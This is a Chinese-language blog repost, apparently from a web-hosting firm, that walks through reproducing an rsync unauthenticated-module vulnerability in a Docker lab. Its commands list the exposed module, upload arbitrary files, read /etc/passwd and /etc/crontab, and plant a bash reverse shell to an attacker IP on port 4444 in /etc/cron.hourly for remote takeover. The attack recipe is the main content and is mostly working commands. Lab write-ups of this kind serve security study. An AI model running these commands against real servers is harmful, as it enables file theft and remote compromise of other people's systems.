扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
小编给大家分享一下rsync漏洞复现的示例分析，相信大部分人都还不怎么了解，因此分享这篇文章给大家参考一下，希望大家阅读完这篇文章后大有收获，下面让我们一起去了解一下吧！
让客户满意是我们工作的目标，不断超越客户的期望值来自于我们对这个行业的热爱。我们立志把好的技术通过有效、简单的方式提供给客户，将通过不懈努力成为客户在信息化领域值得信任、有价值的长期合作伙伴，公司提供的服务项目有：域名申请、雅安服务器托管、营销软件、网站建设、锦州网站维护、网站推广。
rsync漏洞复现
1.首先要进入我们下载的漏洞环境目录
2.编译及运行rsync服务器：
docker-compose up -d
发现拉取成功
查看地址
3.漏洞复现
先查看一下他的模块的文件
rsync rsync://127.0.0.1/src
任意文件上传
只需要touch随便创建一个即可
rsync zxc.txt rsync://127.0.0.1/src/home
查看上传的文件
rsync rsync://127.0.0.1:873/src/home/zxc.txt
任意文件下载
rsync://127.0.0.1/src/etc/passwd
通过写cron任务反弹shell
1、下载任务计划文件
rsync -av rsync://127.0.0.1/src/etc/crontab crontab.txt
任务计划表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
17 * * * * root cd / && run-parts --report /etc/cron.hourly
2、构造shell
#!/bin/bash /bin/bash -i >& /dev/tcp/192.168.0.128/4444 0>&1 //ip为kali的地址
上传shell
rsync -av shell rsync://127.0.0.1/src/etc/cron.hourly
然后反弹shell，但是需要等17分钟，要不然要修改那个文件
第二种获取shell的方式
docker ps
sudo docker exec -it c1de2543df7b bash
发现成功了
正好我们在这里修改一下那个执行文件
首先要安装vim
apt-get update ##更新
apt install vim
然后修改成一分钟
或者第二步骤：
直接进入上传shell 那个目录
cd /etc/cron.hourly/
./shell
发现反弹成功
以上是“rsync漏洞复现的示例分析”这篇文章的所有内容，感谢各位的阅读！相信大家都有了一定的了解，希望分享的内容对大家有所帮助，如果还想学习更多知识，欢迎关注创新互联行业资讯频道！
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
微信二维码
移动版官网